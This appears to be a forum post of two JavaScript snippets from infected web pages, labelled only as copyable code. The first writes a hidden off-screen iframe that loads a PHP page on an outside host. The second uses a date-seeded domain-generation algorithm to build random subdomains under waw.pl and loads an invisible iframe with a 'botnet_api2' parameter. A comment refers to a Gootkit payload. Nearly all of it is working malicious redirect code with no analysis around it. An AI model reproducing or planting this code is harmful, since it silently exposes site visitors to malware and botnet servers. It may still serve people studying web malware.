| 复制代码 if (document.getElementsByTagName('body')[0]) {
                    iframer();
                } else {
                    document.write("<iframe src='http://www.pufuqa.toh.info/openstat/appropriate/bound-side-load_odds.php' width='100' height='100' style='width:100px;height:100px;position:absolute;left:-10000px;top:0;'></iframe>");
                }
                function iframer() {
                    var f = document.createElement('iframe');
                    f.setAttribute('src', 'http://www.pufuqa.toh.info/openstat/appropriate/bound-side-load_odds.php');
                    f.style.left = '-10000px';
                    f.style.top = '0';
                    f.style.position = 'absolute';
                    f.style.top = '0';
                    f.setAttribute('width', '100');
                    f.setAttribute('height', '100');
                    document.getElementsByTagName('body')[0].appendChild(f);
                }
复制代码//Congratulations! you have successfully extracted the gootkit payload 
//this means i must work hardly :( 
function nextRandomNumber() {
    var hi = this.seed / this.Q;
    var lo = this.seed % this.Q;
    var test = this.A * lo - this.R * hi;
    if (test > 0) {
        this.seed = test;
    } else {
        this.seed = test + this.M;
    }
    return (this.seed * this.oneOverM);
}
function RandomNumberGenerator(unix) {
    var d = new Date(unix * 1000);
    var s = Math.ceil(d.getHours() / 6);
    this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
    this.A = 48271;
    this.M = 2147483647;
    this.Q = this.M / this.A;
    this.R = this.M % this.A;
    this.oneOverM = 1.0 / this.M;
    this.next = nextRandomNumber;
    return this;
}
function createRandomNumber(r, Min, Max) {
    return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone) {
    var rand = new RandomNumberGenerator(unix);
    var subdomainlen = Math.floor(Math.random() * 32);
    var letters = "huozfexmrufmqhgnsvkehzrfrqoplpvbuaxoqeriqwkgfkdyenzossqlxfqayvpr".split('');
    var str = '';
    for (var i = 0; i < subdomainlen; i++) {
        str += letters[Math.floor(Math.random() * (letters.length - 1))];
    }
    str += '.'
    for (var i = 0; i < length; i++) {
        str += letters[createRandomNumber(rand, 0, letters.length - 1)];
    }
    return str + '.' + zone;
}
setInterval(function() {
    try {
        if (typeof iframeWasCreated == "undefined") {
            var unix = Math.round(+new Date() / 1000);
            var domainName = generatePseudoRandomString(unix, 16, 'waw.pl');
            ifrm = document.createElement("IFRAME");
            ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet_api2");
            ifrm.style.width = "0px";
            ifrm.style.height = "0px";
            ifrm.style.visibility = "hidden";
            document.body.appendChild(ifrm);
            iframeWasCreated = true;
        }
    } catch (e) {
        iframeWasCreated = undefined;
    }
}, 100);
  |